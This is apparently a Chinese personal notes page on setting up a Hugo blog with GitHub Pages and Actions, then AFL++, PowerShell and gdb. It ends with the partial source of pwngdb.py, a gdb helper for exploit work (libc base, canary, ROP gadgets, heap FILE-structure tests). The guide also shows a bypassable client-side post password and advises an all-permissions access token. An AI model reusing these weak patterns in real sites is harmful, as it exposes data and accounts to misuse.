      # Disqus 评论系统设置 (https://disqus.com/)
      [params.page.comment.disqus]
        enable = false
        # Disqus shortname to use Disqus in posts
        # Disqus 的 shortname，用来在文章中启用 Disqus 评论系统
        shortname = ""
      # Gitalk comment config (https://github.com/gitalk/gitalk)
      # Gitalk 评论系统设置 (https://github.com/gitalk/gitalk)
      [params.page.comment.gitalk]
        enable = false
        owner = ""
        repo = ""
        clientId = ""
        clientSecret = ""
      # Valine comment config (https://github.com/xCss/Valine)
      # Valine 评论系统设置 (https://github.com/xCss/Valine)
      [params.page.comment.valine]
        enable = true
        appId = 'cIRpq8figzQxyGz5LyAdUahJ-gzGzoHsz'
        appKey = 'T9YWfgGhznKaXXx7TCLxzS3C'
        notify = true  # mail notifier , https://github.com/xCss/Valine/wiki
        verify = false # Verification code
        avatar = 'robohash'
        placeholder = '说点什么吧...'
        visitor = true
        path = true
        meta = true
        pageSize = true
        lang = true
        enableQQ = true
        # Facebook comment config (https://developers.facebook.com/docs/plugins/comments)
        # Facebook 评论系统设置 (https://developers.facebook.com/docs/plugins/comments)
      [params.page.comment.facebook]
        enable = false
        width = "100%"
        numPosts = 10
        appId = ""
        languageCode = ""
      # Telegram comments config (https://comments.app/)
      # Telegram comments 评论系统设置 (https://comments.app/)
      [params.page.comment.telegram]
        enable = false
        siteID = ""
        limit = 5
        height = ""
        color = ""
        colorful = true
        dislikes = false
        outlined = false
      # Commento comment config (https://commento.io/)
      # Commento comment 评论系统设置 (https://commento.io/)
      [params.page.comment.commento]
        enable = false
      # Utterances comment config (https://utteranc.es/)
      # Utterances comment 评论系统设置 (https://utteranc.es/)
      [params.page.comment.utterances]
        enable = false
        # owner/repo
        repo = ""
        issueTerm = "pathname"
        label = ""
        lightTheme = "github-light"
        darkTheme = "github-dark"
    # Third-party library config
    # 第三方库配置
    [params.page.library]
      [params.page.library.css]
        # someCSS = "some.css"
        # located in "assets/" 位于 "assets/"
        # Or 或者
        # someCSS = "https://cdn.example.com/some.css"
      [params.page.library.js]
        # someJavascript = "some.js"
        # located in "assets/" 位于 "assets/"
        # Or 或者
        # someJavascript = "https://cdn.example.com/some.js"
    # Page SEO config
    # 页面 SEO 配置
    [params.page.seo]
      # image URL
      # 图片 URL
      images = []
      # Publisher info
      # 出版者信息
      [params.page.seo.publisher]
        name = "xxxx"
        logoUrl = "/images/avatar.png"

  # TypeIt config
  # TypeIt 配置
  [params.typeit]
    # typing speed between each step (measured in milliseconds)
    # 每一步的打字速度 (单位是毫秒)
    speed = 100
    # blinking speed of the cursor (measured in milliseconds)
    # 光标的闪烁速度 (单位是毫秒)
    cursorSpeed = 1000
    # character used for the cursor (HTML format is supported)
    # 光标的字符 (支持 HTML 格式)
    cursorChar = "|"
    # cursor duration after typing finishing (measured in milliseconds, "-1" means unlimited)
    # 打字结束之后光标的持续时间 (单位是毫秒, "-1" 代表无限大)
    duration = -1

  # Site verification code for Google/Bing/Yandex/Pinterest/Baidu
  # 网站验证代码，用于 Google/Bing/Yandex/Pinterest/Baidu
  [params.verification]
    google = ""
    bing = ""
    yandex = ""
    pinterest = ""
    baidu = ""

  # Site SEO config
  # 网站 SEO 配置
  [params.seo]
    # image URL
    # 图片 URL
    image = "/images/Apple-Devices-Preview.png"
    # thumbnail URL
    # 缩略图 URL
    thumbnailUrl = "/images/screenshot.png"

  # Analytics config
  # 网站分析配置
  [params.analytics]
    enable = false
    # Google Analytics
    [params.analytics.google]
      id = ""
      # whether to anonymize IP
      # 是否匿名化用户 IP
      anonymizeIP = true
    # Fathom Analytics
    [params.analytics.fathom]
      id = ""
      # server url for your tracker if you're self hosting
      # 自行托管追踪器时的主机路径
      server = ""

  # Cookie consent config
  # Cookie 许可配置
  [params.cookieconsent]
    enable = false
    # text strings used for Cookie consent banner
    # 用于 Cookie 许可横幅的文本字符串
    [params.cookieconsent.content]
      message = ""
      dismiss = ""
      link = ""

  # CDN config for third-party library files
  # 第三方库文件的 CDN 设置
  [params.cdn]
    # CDN data file name, disabled by default
    # ("jsdelivr.yml")
    # located in "themes/LoveIt/assets/data/cdn/" directory
    # you can store your own data files in the same path under your project:
    # "assets/data/cdn/"
    # CDN 数据文件名称, 默认不启用
    # ("jsdelivr.yml")
    # 位于 "themes/LoveIt/assets/data/cdn/" 目录
    # 可以在你的项目下相同路径存放你自己的数据文件:
    # "assets/data/cdn/"
    data = "jsdelivr.yml"

  # Compatibility config
  # 兼容性设置
  [params.compatibility]
    # whether to use Polyfill.io to be compatible with older browsers
    # 是否使用 Polyfill.io 来兼容旧式浏览器
    polyfill = false
    # whether to use object-fit-images to be compatible with older browsers
    # 是否使用 object-fit-images 来兼容旧式浏览器
    objectFit = false

# Markup related configuration in Hugo
# Hugo 解析文档的配置
[markup]
  # Syntax Highlighting (https://gohugo.io/content-management/syntax-highlighting)
  # 语法高亮设置 (https://gohugo.io/content-management/syntax-highlighting)
  [markup.highlight]
    codeFences = true
    guessSyntax = true
    lineNos = true
    lineNumbersInTable = true
    # false is a necessary configuration (https://github.com/dillonzq/LoveIt/issues/158)
    # false 是必要的设置 (https://github.com/dillonzq/LoveIt/issues/158)
    noClasses = false
  # Goldmark is from Hugo 0.60 the default library used for Markdown
  # Goldmark 是 Hugo 0.60 以来的默认 Markdown 解析库
  [markup.goldmark]
    [markup.goldmark.extensions]
      definitionList = true
      footnote = true
      linkify = true
      strikethrough = true
      table = true
      taskList = true
      typographer = true
    [markup.goldmark.renderer]
      # whether to use HTML tags directly in the document
      # 是否在文档中直接使用 HTML 标签
      unsafe = true
  # Table Of Contents settings
  # 目录设置
  [markup.tableOfContents]
    startLevel = 1
    endLevel = 6

# Author config
# 作者配置
[author]
  name = "cnitlrt"
  email = "cnitlrt@gmail.com"
  link = ""

# Sitemap config
# 网站地图配置
[sitemap]
  changefreq = "weekly"
  filename = "sitemap.xml"
  priority = 0.5

# Permalinks config (https://gohugo.io/content-management/urls/#permalinks)
# Permalinks 配置 (https://gohugo.io/content-management/urls/#permalinks)
[Permalinks]
  # posts = ":year/:month/:filename"
  posts = ":filename"

# Privacy config (https://gohugo.io/about/hugo-and-gdpr/)
# 隐私信息配置 (https://gohugo.io/about/hugo-and-gdpr/)
[privacy]
  # privacy of the Google Analytics (replaced by params.analytics.google)
  # Google Analytics 相关隐私 (被 params.analytics.google 替代)
  [privacy.googleAnalytics]
    # ...
  [privacy.twitter]
    enableDNT = true
  [privacy.youtube]
    privacyEnhanced = true

# Options to make output .md files
# 用于输出 Markdown 格式文档的设置
# [mediaTypes]
#   [mediaTypes."text/plain"]
#     suffixes = ["md"]

# # Options to make output .md files
# # 用于输出 Markdown 格式文档的设置
# [outputFormats.MarkDown]
#   mediaType = "text/plain"
#   isPlainText = false
#   isHTML = true

# # Options to make hugo output files
# # 用于 Hugo 输出文档的设置
# [outputs]
#   home = ["HTML", "RSS", "JSON"]
#   page = ["HTML", "MarkDown"]
#   section = ["HTML", "RSS"]
#   taxonomy = ["HTML", "RSS"]
#   taxonomyTerm = ["HTML"]

hugo server -D

访问http://127.0.0.1:1313/

上传github

在blog目录下运行

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hugo

会生成public目录

创建一个空白目录(例如cnitlrt)，在public目录下运行下面的指令

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git init
git add .
git branch -M master #创建master的分支
git remote add origin git@github.com:cnitlrt/cnitlrt.github.io.git
git push -u origin master

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git add . && git commit -m "test" && git remote rm origin && git remote add origin git@github.com:cnitlrt/cnitlrt.github.io.git && git push -u origin master

增加菜单栏（config.toml）

  [[languages.zh-cn.menu.main]]
    identifier = "friend"
    pre = ""
    post = ""
    name = "友链"
    url = "/friend/"
    title = ""
    weight = 7

创建html (xxx/blog/layouts/shortcodes/) 创建friend.html

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{{ if .IsNamedParams }}
<a target="_blank" href={{ .Get "url" }} title={{ .Get "name" }} class="friendurl">
  <div class="frienddiv">
    <div class="frienddivleft">
      <img class="myfriend" src={{ .Get "logo" }} />
    </div>
    <div class="frienddivright">
      <div class="friendname">{{ .Get "name" }}</div>
      <div class="friendinfo">{{ .Get "word" }}</div>
    </div>
  </div>
</a>
{{ end }}

css代码 (`assets/css/_partial/_signal`新建`_friend.scss`)

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.friendurl {
    text-decoration: none !important;
    color: black;
}
   
.myfriend {
    width: 56px !important;
    height: 56px !important;
    border-radius: 50%;
    border: 1px solid #ddd;
    padding: 2px;
    box-shadow: 1px 1px 1px rgba(0, 0, 0, 0.15);
    margin-top: 14px !important;
    margin-left: 14px !important;
    background-color: #fff;
}
   
.frienddiv {
    height: 92px;
    margin-top: 10px;
    width: 48%;
    display: inline-block !important;
    border-radius: 5px;
    background: rgba(255, 255, 255, 0.2);
    box-shadow: 4px 4px 2px 1px rgba(0, 0, 255, 0.2);
}
   
.frienddiv:hover {
    background: rgba(87, 142, 224, 0.15);
}
   
.frienddiv:hover .frienddivleft img {
    transition: 0.9s !important;
    -webkit-transition: 0.9s !important;
    -moz-transition: 0.9s !important;
    -o-transition: 0.9s !important;
    -ms-transition: 0.9s !important;
    transform: rotate(360deg) !important;
    -webkit-transform: rotate(360deg) !important;
    -moz-transform: rotate(360deg) !important;
    -o-transform: rotate(360deg) !important;
    -ms-transform: rotate(360deg) !important;
}
   
.frienddivleft {
    width: 92px;
    float: left;
}
   
.frienddivleft {
    margin-right: 2px;
}
   
.frienddivright {
    margin-top: 18px;
    margin-right: 18px;
}
   
.friendname {
    text-overflow: ellipsis;
    overflow: hidden;
    white-space: nowrap;
}
   
.friendinfo {
    text-overflow: ellipsis;
    overflow: hidden;
    white-space: nowrap;
}
   
@media screen and (max-width: 600px) {
    .friendinfo {
        display: none;
    }
    .frienddivleft {
        width: 84px;
        margin: auto;
    }
    .frienddivright {
        height: 100%;
        margin: auto;
        display: flex;
        align-items: center;
        justify-content: center;
    }
    .friendname {
        font-size: 14px;
    }
}
   

`assets/css/_page/` 下面新建 `_single.scss` 文件

把主题 /themes/loveIt/assets/css/_page/_single.scss 的文件拷贝到博客项目指定目录，关键在于添加一行 @import "../_partial/_single/_friend";

在 content/friend 下新建 index.语言.md

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---
hiddenFromSearch: true
---


      
    
name
描述

增加加密功能

新建 layouts/posts/single.html

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mkdir layouts/posts/ && cp themes/LoveIt/layouts/posts/single.html layouts/posts/single.html

创建文件 static/js/pwd.js ，代码如下

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function getCookie(cname) {
    var name = cname + "=";
    var ca = document.cookie.split(';');
    for (var i = 0; i < ca.length; i++) {
        var c = ca[i].trim();
        if (c.indexOf(name) == 0) return c.substring(name.length, c.length);
    }
    return "";
}

function checkCookie(cname, cvvalue) {
    var cvalue = getCookie(cname);
    if (cvalue != "" && cvalue === cvvalue) {
        return true;
    } else {
        return false;
    }
}

function setCookie(cname, cvalue, exhours) {
    var d = new Date();
    var h = 60 * 60 * 1000
    d.setTime(d.getTime() + (exhours * h));
    var expires = "expires=" + d.toGMTString();
    document.cookie = cname + "=" + cvalue + "; " + expires + "; path=/";
}

function errorPwd() {
    alert('密码错误！');
    if (history.length === 1) {
        window.opener = null;
        window.open('', '_self');
        window.close();
    } else {
        history.back();
    }
    return false;
}

向 layouts/posts/single.html 中的 {{- $params := .Scratch.Get "params" -}} 之后添加如下代码

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    {{- $password := $params.password | default "" -}}
    {{- $encryptedKey := $params.encryptedKey | default "" -}}
    {{- if ne $password "" -}}
        <noscript><meta http-equiv="refresh" content="0; url=/404.html" /></noscript>
        <script type="text/javascript" src="/js/pwd.js"></script>
        <script>
            (function(){
                document.body.style.display="none"
                if({{ $password }}){
                    if({{ $encryptedKey }}){
                        if (!checkCookie({{ $encryptedKey }},{{ $password }})) {
                            if (prompt('请输入文章密码') != {{ $password }}){
                                return errorPwd();
                            } else {
                                setCookie({{ $encryptedKey }},{{ $password }},1);
                            }
                        }
                    } else if (prompt('请输入文章密码') != {{ $password }}){
                        return errorPwd();
                    }
                }
                document.body.style.display="inherit"
            })();
        </script>
    {{- end -}}

posts下面的文章中使用 : password => 密码

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---
password: "admin"
---

增加评论

使用gitalk就好参考

network error

将该域名改成代理即可

配置github action

在settings->developer settings->personal access tokens->tokens ( classic)里面添加一个personal key把所有的权限都打上，然后将key记录下来

创建两个仓库

在根目录建立.github/workflows/mian.yml

内容如下

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name: GitHub Page Deploy

on:
  push:
    branches:
      - master
jobs:
  build-deploy:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout master
        uses: actions/checkout@v1      
        with:
          submodules: true
      - name: Setup Hugo
        uses: peaceiris/actions-hugo@v2
        with:
          hugo-version: "0.110.0"
          extended: true

      - name: Build Hugo
        run: |
              hugo

      - name: Deploy Hugo to gh-pages
        uses: peaceiris/actions-gh-pages@v2
        env:
          PERSONAL_TOKEN: ${{ secrets.ACTIONS_DEPLOY_KEY }}
          EXTERNAL_REPOSITORY: cnitlrt/cnitlrt.github.io
          PUBLISH_BRANCH: master
          PUBLISH_DIR: ./public
          commit_message: ${{ github.event.head_commit.message }}

其中ACTIONS_DEPLOY_KEY在仓库->settings->secrets and variables->actions新建名字为ACTIONS_DEPLOY_KEY的secret里面的内容填之前的那个personal key
EXTERNAL_REPOSITORY: 填入自己的仓库

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hugo && git add . && git commit -m "blog" && git push -u origin master

更改网站图标

https://realfavicongenerator.net/

下载下来放入static目录下面。

修改模板

将根目录\archetypes下的default.md修改如下：

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title: "{{ replace .TranslationBaseName "-" " " | title }}"
subtitle: ""
date: {{ .Date }}
lastmod: {{ .Date }}
draft: false
toc:
  enable: true
weight: false
categories: [""]
tags: [""]

解决 Validation Failed.

把页面名称换成英文

AFL++ qemu 32bit

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sudo apt-get install libini-config-dev libtool-bin automake bison libglib2.0-dev qemu -y 
sudo apt install ninja-build
sudo apt install gcc-9-plugin-dev
sudo apt-get install llvm
sudo apt-get install build-essential module-assistant  
sudo apt-get install gcc-multilib g++-multilib
cd ~
git clone https://github.com/AFLplusplus/AFLplusplus
cd AFLplusplus
sudo make && cd qemu_mode && CPU_TARGET=i386 ./build_qemu_support.sh && cd .. && sudo make install

powershell

字体

Nerd Fonts - Iconic font aggregator, glyphs/icons collection, & fonts patcher。

安装oh-my-posh，posh-git和Readline

请运行下列的命令

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Install-Module -Name PowerShellGet -Force
winget install JanDeDobbeleer.OhMyPosh -s winget
PowerShellGet\Install-Module posh-git -Scope CurrentUser -Force
Install-Module PSReadLine

修改配置文件

接下来，我们需要修改我们Powershell的配置文件。

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code $PROFILE

我们在这个文件中加入下列内容

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#Set-PSReadLineKeyHandler -Key Tab -Function MenuComplete #Tab键会出现自动补全菜单
#Set-PSReadlineKeyHandler -Key UpArrow -Function HistorySearchBackward
#Set-PSReadlineKeyHandler -Key DownArrow -Function HistorySearchForward
# 上下方向键箭头，搜索历史中进行自动补全

#oh-my-posh init pwsh --config "$env:POSH_THEMES_PATH/kali.omp.json" | Invoke-Expression
# Import-Module posh-git # git的自动补全
Import-Module PSReadLine
Set-PSReadLineOption -PredictionSource History

gdb调试相关

父子进程调试

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#调试父进程,断开与父进程的连接
#当发生fork时跟踪父进程
set follow-fork-mode parent
set detach-on-fork on
调试子进程并不断开与父进程的连接
set follow-fork-mode child
set detach-on-fork off
#调试器将在多个线程之间进行调度，并监视它们的活动
set schedule-multiple on

on: 断开调试follow-fork-mode指定的进程。
off: gdb将控制父进程和子进程。follow-fork-mode指定的进程将被调试，另一个进程置于暂停（suspended）状态。

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ptype/o struct 获取结构体的偏移量
ptype/o struct user_key_payload
ptype 获取定义
ptype sturct user_key_payload

pwngdb.py

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from __future__ import print_function
import gdb
import subprocess
import re
import copy
from os import path

directory, file = path.split(__file__)
directory       = path.expanduser(directory)
directory       = path.abspath(directory)
#sys.path.append(directory)

# arch
capsize = 0
word = ""
arch = ""
magic_variable = ["__malloc_hook","__free_hook","_IO_2_1_stdin_","_IO_2_1_stdout_","_IO_2_1_stderr_","_IO_list_all","__after_morecore_hook"]
magic_function = ["system","execve","open","read","write","gets","setcontext","__libc_realloc"]


def to_int(val):
    """
    Convert a string to int number
    from https://github.com/longld/peda
    """
    try:
        return int(str(val), 0)
    except:
        return None

def normalize_argv(args, size=0):
    """
    Normalize argv to list with predefined length
    from https://github.com/longld/peda
    """
    args = list(args)
    for (idx, val) in enumerate(args):
        if to_int(val) is not None:
            args[idx] = to_int(val)
        if size and idx == size:
            return args[:idx]

    if size == 0:
        return args
    for i in range(len(args), size):
        args += [None]
    return args

class PwnCmd(object):
    commands = []
    prevbp = []
    bpoff = []
    def __init__(self):
        # list all commands
        self.commands = [cmd for cmd in dir(self) if callable(getattr(self, cmd)) ]  

    def libc(self):
        """ Get libc base """
        libcbs = libcbase()

        print("\033[34m" + "libc : " + "\033[37m" + hex(libcbs))

    def heapbase(self):
        """ Get heapbase """
        heapbase = getheapbase()
        if heapbase :
            print("\033[34m" + "heapbase : " + "\033[37m" + hex(heapbase))
        else :
            print("heap not found")


    def ld(self):
        """ Get ld.so base """
        print("\033[34m" + "ld : " + "\033[37m" + hex(ldbase()))

    def codebase(self):
        """ Get text base """
        codebs = codeaddr()[0]
        print("\033[34m" + "codebase : " + "\033[37m" + hex(codebs))

    def tls(self):
        """ Get tls base """
        print("\033[34m" + "tls : " + "\033[37m" + hex(gettls()))

    def canary(self):
        """ Get canary value """
        print("\033[34m" + "canary : " + "\033[37m" + hex(getcanary()))

    def fmtarg(self,*arg):
        (addr,) = normalize_argv(arg,1)
        getfmtarg(addr)

    def off(self,*arg) :
        """ Calculate the offset of libc """
        #(sym,)= normalize_argv(arg,1)
        (sym,) = normalize_argv(arg,1)
        symaddr = getoff(sym)
        if symaddr == 0 :
            print("Not found the symbol")
        else :
            if type(sym) is int :
                print("\033[34m" + hex(sym)  + ":" + "\033[37m" +hex(symaddr))
            else :
                print("\033[34m" + sym  + ":" + "\033[37m" +hex(symaddr))
    def offf(self,*arg) :
        """ Calculate the offset of libc """
        #(sym,)= normalize_argv(arg,1)
        (sym,) = normalize_argv(arg,1)
        codebs = codeaddr()[0]
        print("\033[34m" + hex(sym)  + ":" + "\033[37m" +hex(sym - codebs))
    def fp(self,*arg):
        """ show FILE structure """
        (addr,) = normalize_argv(arg,1)
        showfp(addr)

    def fpchain(self):
        """ show FILE chain """
        showfpchain()

    def orange(self,*arg):
        """ test house of orange """
        (addr,) = normalize_argv(arg,1)
        if addr :
            testorange(addr)
        else :
            print("You need to specifiy an address")

    def fsop(self,*arg):
        """ test fsop """
        (addr,) = normalize_argv(arg,1)
        testfsop(addr) 

    def magic(self):
        """ Print usefual variables or function in glibc """
        getarch()
        
        try :
            print("========== function ==========")
            for f in magic_function :
                print("\033[34m" + f  + ":" + "\033[33m" +hex(getoff(f))) 
            print("\033[00m========== variables ==========")
            for v in magic_variable :
                cmd = "x/" + word + "&" +v
                content = gdb.execute(cmd,to_string=True).split(":")[1].strip()
                offset = hex(getoff("&"+ v))
                pad = 36 - len(v) - len(offset) - 2
                print("\033[34m%s\033[33m(%s)\033[37m%s: \033[37m%s" % (v, offset, ' ' *pad, content))
        except :
            print("You need run the program first")


    def findsyscall(self):
        """ find the syscall gadget"""
        arch = getarch()
        start,end = codeaddr()
        if arch == "x86-64" :
            gdb.execute("find 0x050f " + hex(start) + " " + hex(end) )
        elif arch == "i386":
            gdb.execute("find 0x80cd " + hex(start) + " " + hex(end) )
        elif arch == "arm":
            gdb.execute("find 0xbc80df00 " + hex(start) + " " + hex(end) )
        elif arch == "aarch64":
            gdb.execute("find 0xd4000001 " + hex(start) + " " + hex(end) )
        else :
            print("error")

    def got(self):
        """ Print the got table """
        processname = getprocname()
        if processname :
            cmd = "objdump -R "
            if iscplus :
                cmd += "--demangle "
            cmd += "\"" + processname + "\""
            got = subprocess.check_output(cmd,shell=True)[:-2].decode('utf8')
            print(got)
        else :
            print("No current process or executable file specified." )

    def dyn(self):
        """ Print dynamic section """
        processname = getprocname()
        if processname :
            dyn = subprocess.check_output("readelf -d \"" + processname + "\"",shell=True).decode('utf8')
            print(dyn)
        else :
            print("No current process or executable file specified." )
    def readelf(self):
        """Print the seccons"""
        processname = getprocname()
        elfinfo = {}
        codebs = codeaddr()[0]
        out = subprocess.check_output("readelf -W -S \"" + processname + "\"",shell = True).decode('utf-8')
        if not out:
            return {}
        p = re.compile(".*\[.*\] (\.[^ ]*) [^0-9]* ([^ ]*) [^ ]* ([^ ]*)(.*)")
        matches = p.findall(out)
        if not matches:
            return {}
        # print(matches)
        """[('.interp', '0000000000000318', '00001c', ' 00   A  0   0  1'), ('.note.gn]"""
        for (hname, start, size, attr) in matches:
            start,end = int(start,16),int(start,16) + int(size,16)
            if start == 0:
                continue
            if start < codebs:
                start += codebs
            if end < codebs:
                end += codebs
            if "X" in attr:
                htype = "code"
            elif "W" in attr:
                htype = "data"
            else:
                htype = "rodata"
            elfinfo[hname.strip()] = (start,end,htype)
        result = {}
        result = elfinfo
        for (k, (start, end, type)) in sorted(result.items(), key=lambda x: x[1]):
                print("%s = 0x%x" % (k, start))
            

    def rop(self):
        """ ROPgadget """
        procname = getprocname()
        if procname :
            subprocess.call("ROPgadget --binary \"" + procname +"\"",shell=True)
        else :
            print("No current process or executable file specified." )

    def findcall(self,*arg):
        """ Find some function call """
        (sym,)= normalize_argv(arg,1)
        output = searchcall(sym)
        print(output)

    def at(self,*arg):
        """ Attach by processname """
        (processname,) = normalize_argv(arg,1)
        if not processname :
            processname = getprocname(relative=True)
            if not processname :
                print("Attaching program: ")
                print("No executable file specified.")
                print("Use the \"file\" or \"exec-file\" command.")
                return
        try :
            print("Attaching to %s ..." % processname)
            pidlist = subprocess.check_output("pidof " + processname,shell=True).decode('utf8').split()
            gdb.execute("attach " + pidlist[0])
            getheapbase()
            libcbase()
            codeaddr()
            ldbase()
        except :
            print( "No such process" )

    def bcall(self,*arg):
        """ Set the breakpoint at some function call """
        (sym,)= normalize_argv(arg,1)
        call = searchcall(sym)
        if "not found" in call :
            print("symbol not found")
        else :
            if ispie():
                codebaseaddr,codeend = codeaddr()
                for callbase in call.split('\n')[:-1]: 
                    addr = int(callbase.split(':')[0],16) + codebaseaddr
                    cmd = "b*" + hex(addr)
                    print(gdb.execute(cmd,to_string=True))
            else:
                for callbase in  call.split('\n')[:-1]:
                    addr = int(callbase.split(':')[0],16)
                    cmd = "b*" + hex(addr)
                    print(gdb.execute(cmd,to_string=True))

    def boff(self,*arg):
        """ Set the breakpoint at some offset from base address """
        (sym,) = normalize_argv(arg,1)
        codebaseaddr,codeend = codeaddr()
        if sym not in self.bpoff:
            self.bpoff.append(sym)
        cmd = "b*" + hex(codebaseaddr + sym)
        x = gdb.execute(cmd,to_string=True)
        y = x.rstrip().split("\n")[-1].split()[1]
        self.prevbp.append(y)
        print(x.rstrip())

    def tboff(self,*arg):
        """ Set temporary breakpoint at some offset from base address """
        (sym,) = normalize_argv(arg,1)
        codebaseaddr,codeend = codeaddr()
        cmd = "tb*" + hex(codebaseaddr + sym)
        print(gdb.execute(cmd,to_string=True))

    def atboff(self,*arg):
        """ Attach and set breakpoints accordingly """
        (sym,) = normalize_argv(arg,1)
        cmd = "attach " + str(sym)
        print(gdb.execute(cmd,to_string=True))
        x = len(self.prevbp)
        while x > 0:
            i = self.prevbp.pop(0)
            cmd = "del " + i
            gdb.execute(cmd,to_string=True)
            x -= 1
        for i in self.bpoff:
            self.boff(hex(i))

    def doff(self,*arg):
        """ Delete the breakpoint using breakpoint number at some offset from base address """
        (sym,) = normalize_argv(arg,1)
        if str(sym) not in self.prevbp:
            return
        codebaseaddr,codeend = codeaddr()
        cmd = "i b " + str(sym)
        x = gdb.execute(cmd,to_string=True)
        y = int(x.rstrip().split("\n")[1].split()[4], 16) - codebaseaddr
        cmd = "del " + str(sym)
        print(gdb.execute(cmd,to_string=True).rstrip())
        self.bpoff.remove(y)
        self.prevbp.remove(str(sym))

    def xo(self,*arg):
        """ Examine at offset from base address """
        (_,arg1,) = normalize_argv(arg,2)
        cmd = "x" + arg[0] + " "
        if arg1:
            codebaseaddr,_ = codeaddr()
            cmd += hex(codebaseaddr + arg1)
        print(gdb.execute(cmd,to_string=True)[:-1])

class PwngdbCmd(gdb.Command):
    """ Pwngdb command wrapper """
    def __init__(self):
        super(PwngdbCmd,self).__init__("pwngdb",gdb.COMMAND_USER)

    def try_eval(self, expr):
        try:
            return gdb.parse_and_eval(expr)
        except:
            #print("Unable to parse expression: {}".format(expr))
            return expr

    def eval_argv(self, expressions):
        """ Leave command alone, let GDB parse and evaluate arguments """
        return [expressions[0]] + [ self.try_eval(expr) for expr in expressions[1:] ]

    def invoke(self,args,from_tty):
        self.dont_repeat()
        # Don't eval expression in PwngdbCmd commands
        #expressions = gdb.string_to_argv(args)
        #arg = self.eval_argv(expressions)
        arg = args.split()
        if len(arg) > 0 :
            cmd = arg[0]
            if cmd in pwncmd.commands :
                func = getattr(pwncmd,cmd)
                func(*arg[1:])
            else :
                print("Unknown command")
        else :
            print("Unknown command")

        return 

class PwngdbAlias(gdb.Command):
    """ Pwngdb Alias """

    def __init__(self,alias,command):
        self.command = command
        super(PwngdbAlias,self).__init__(alias,gdb.COMMAND_NONE)

    def invoke(self,args,from_tty):
        self.dont_repeat()
        gdb.execute("%s %s" % (self.command,args))

def getarch():
    global capsize
    global word
    global arch
    data = gdb.execute('show arch',to_string = True)
    tmp =  re.search("currently.*",data)
    if tmp :
        info = tmp.group()
        if "x86-64" in info:
            capsize = 8
            word = "gx "
            arch = "x86-64"
            return "x86-64"
        elif "aarch64" in info :
            capsize = 8
            word = "gx "
            arch = "aarch64"
            return "aarch64"
        elif "arm" in info :
            capsize = 4
            word = "wx "
            arch = "arm"
            return "arm"
        else :
            word = "wx "
            capsize = 4
            arch = "i386"
            return  "i386"
    else :
        return "error"

def procmap():
    data = gdb.execute('info proc exe',to_string = True)
    pid = re.search('process.*',data)
    if pid :
        pid = pid.group()
        pid = pid.split()[1]
        maps = open("/proc/" + pid + "/maps","r")
        infomap = maps.read()
        maps.close()
        return infomap
    else :
        return "error"

def iscplus():
    name = getprocname()
    data = subprocess.check_output("readelf -s " + name,shell=True).decode('utf8')
    if "CXX" in data :
        return True
    else :
        return False

def getprocname(relative=False):
    procname = None
    try:
        data = gdb.execute("info proc exe",to_string=True)
        procname = re.search("exe.*",data).group().split("=")[1][2:-1]
    except:
        data = gdb.execute("info files",to_string=True)
        if data:
            procname = re.search('Symbols from "(.*)"',data).group(1)
    if procname and relative :
        return procname.split("/")[-1]
    return procname

def libcbase():
    infomap = procmap()
    data = re.search(".*libc.*\.so",infomap)
    if data :
        libcaddr = data.group().split("-")[0]
        gdb.execute("set $libc=%s" % hex(int(libcaddr,16)))
        return int(libcaddr,16)
    else :
        return 0

def ldbase():
    infomap = procmap()
    data = re.search(".*ld.*\.so",infomap)
    if data :
        ldaddr = data.group().split("-")[0]
        gdb.execute("set $ld=%s" % hex(int(ldaddr,16)))
        return int(ldaddr,16)
    else :
        return 0

def getheapbase():
    infomap = procmap()
    data = re.search(".*heap\]",infomap)
    if data :
        heapbase = data.group().split("-")[0]
        gdb.execute("set $heap=%s" % hex(int(heapbase,16)))
        return int(heapbase,16)
    else :
        return 0

def codeaddr(): # ret (start,end)
    infomap = procmap()
    procname = getprocname()
    pat = ".*" + procname
    data = re.findall(pat,infomap)
    if data :
        codebaseaddr = data[0].split("-")[0]
        codeend = data[0].split("-")[1].split()[0]
        gdb.execute("set $code=%s" % hex(int(codebaseaddr,16)))
        return (int(codebaseaddr,16),int(codeend,16))
    else :
        return (0,0)

def gettls():
    arch = getarch()
    if arch == "i386" :
        vsysaddr = gdb.execute("info functions __kernel_vsyscall",to_string=True).split("\n")[-2].split()[0].strip()
        sysinfo= gdb.execute("find " + vsysaddr,to_string=True).split("\n")[2]
        match = re.search(r"0x[0-9a-z]{8}",sysinfo)
        if match :
            tlsaddr = int(match.group(),16) - 0x10
        else:
            return "error"
        return tlsaddr
    elif arch == "x86-64" :
        gdb.execute("call (int)arch_prctl(0x1003,$rsp-8)",to_string=True)
        data = gdb.execute("x/xg $rsp-8",to_string=True)
        return int(data.split(":")[1].strip(),16)
    else:
        return "error"

def getcanary():
    arch = getarch()
    tlsaddr = gettls()
    if arch == "i386" :
        offset = 0x14
        result = gdb.execute("x/xw " + hex(tlsaddr + offset),to_string=True).split(":")[1].strip()
        return int(result ,16)   
    elif arch == "x86-64" :
        offset = 0x28
        result = gdb.execute("x/xg " + hex(tlsaddr + offset),to_string=True).split(":")[1].strip()
        return int(result,16)
    else :
        return "error"

def getoff(sym):
    libc = libcbase()
    if type(sym) is int :
        return sym-libc
    else :
        try :
            data = gdb.execute("x/x " + sym ,to_string=True)
            if "No symbol" in data:
                return 0
            else :
                data = re.search("0x.*[0-9a-f] ",data)
                data = data.group()
                symaddr = int(data[:-1] ,16)
                return symaddr-libc
        except :
            return 0

def searchcall(sym):
    procname = getprocname()
    cmd = "objdump -d -M intel "
    if iscplus :
        cmd += "--demangle "
    cmd += "\"" + procname + "\""
    try :
        call = subprocess.check_output(cmd
                + "| grep \"call.*" + sym + "@plt>\""  ,shell=True).decode('utf8')
        return call
    except :
        return "symbol not found"

def ispie():
    procname = getprocname()
    result = subprocess.check_output("readelf -h " + "\"" + procname +"\"",shell=True).decode('utf8')
    if re.search("DYN",result):
        return True
    else:
        return False

def get_reg(reg):
    cmd = "info register " + reg
    result = int(gdb.execute(cmd,to_string=True).split()[1].strip(),16)
    return result

def showfp(addr):
    if addr : 
        cmd = "p *(struct _IO_FILE_plus *)" + hex(addr)
        try :
            result = gdb.execute(cmd)
        except :
            print("Can't not access 0x%x" % addr)
    else :
        print("You need to specify an address")

def showfpchain():
    getarch()
    cmd = "x/" + word + "&_IO_list_all"
    head = int(gdb.execute(cmd,to_string=True).split(":")[1].strip(),16)
    print("\033[32mfpchain:\033[1;37m ",end = "")
    chain = head
    print("0x%x" % chain,end = "")
    try :
        while chain != 0 :
            print(" --> ",end = "")
